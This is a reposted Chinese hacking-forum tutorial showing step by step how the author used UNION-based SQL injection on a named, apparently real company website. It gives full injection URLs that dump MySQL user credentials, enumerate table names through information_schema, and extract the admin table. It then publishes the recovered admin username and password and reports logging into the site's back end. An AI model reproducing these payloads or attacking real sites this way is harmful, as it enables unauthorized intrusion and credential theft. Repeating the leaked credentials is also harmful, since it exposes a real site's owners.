刀城技术网-信息安全,服务器安全维护,网站安全维护

当前位置: 网站主页 > 数据安全 > MYSQL注入 >

php+MySql注入非暴力爆数据库表段

时间:2012-06-06 11:24来源:未知 作者:Mr.Cool 点击:
作者:Mr.Cool 原文地址: http://bbs.blackbap.org/thread-1215-1-1.html 鉴于好多人问我关于注入猜不到表的问题,我发一下相关事例吧,其实MySql数据库的版本够了,不需要暴力猜表的,而是查表 目标网站:http://www.onhing.com.cn 这个网站是小白刚刚在家

作者:Mr.Cool
原文地址:
http://bbs.blackbap.org/thread-1215-1-1.html


鉴于好多人问我关于注入猜不到表的问题,我发一下相关事例吧,其实MySql数据库的版本够了,不需要暴力猜表的,而是“查”表
目标网站:http://www.onhing.com.cn
这个网站是小白刚刚在家族群里发的,似乎是独立服务器。
注入点:http://www.onhing.com.cn/cn/pro.php?id=5
她是发的这个:

  1. http://www.onhing.com.cn/cn/pro.php?id=5+and+1=2+union+select+1,2,database(),concat(user,0x5f,password),5,6,7,8,9,10,11,12,13,14,user,16,17,18,19,20,21+from+mysql.user


正好省的猜了。直接开始爆

1.jpg

 



首先说下,新版本的MySql,表的名字也是存放在数据库里的,像MSSQL注入一样,其实根本不用猜,只要去“爆”出来就可以了
之所以先教大家自己去猜,是一开始就讲爆表比较麻烦,也比较乱,实例也不好找,最主要是两层select嵌套,所以问我php注入的,我讲了concat、hex、load_file、0xXX、out intofile等等,就是没讲猜表。
猜表很简单,就是从特定的地方查出来表的名字就行了
格式如下:
  1. +union select 1,2,3,table_name from (select * from information_schema.tables where table_schema=数据库名字的hex order by table_schema limit 6,1)t limit 1--


因为第二个select后面有个where table_schema=数据库名字的hex
数据库名字直接database()即可,其他名字从MySql.db查
database()查出来数据库名字之后,去hex值即可
在最后一个limit 6,7很明显是范围,从0,1、1,2、2,3、3,4的这么查下去就可以了,直到查出来想要的表名

这个网站的数据库是test,我选4号显示位,构造出来后就是这样的语句:
 

  1. http://www.onhing.com.cn/cn/pro.php?id=5+and+1=2+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+(select+*+from+information_schema.tables+where+table_schema=0x74657374+order+by+table_schema+limit+6,1)t+limit+1--


一直查到6,7表名:member_info、在往后有member_info11和member_login,不过可惜这几个表都不对,不是后台的管理员表
不过最后查到我崩溃的是,管理员表居然是users。。。。弱啊
 

  1. http://www.onhing.com.cn/cn/pro.php?id=5+and+1=2+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+(select+*+from+information_schema.tables+where+table_schema=0x74657374+order+by+table_schema+limit+13,1)t+limit+1--



2.jpg

 



既然表都知道了,那么就可以go on了:
  1. http://www.onhing.com.cn/cn/pro.php?id=5+and+1=2+union+select+1,2,3,user_name,5,6,7,8,9,10,11,12,13,14,user_password,16,17,18,19,20,21+from+users


得到管理员密码:admin1991  晕,难道是90后技术员?

3.png

 



ok,使用admin、admin1991登录成功

4.png

 

(责任编辑:刀)
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
验证码:点击我更换图片
栏目列表
推荐内容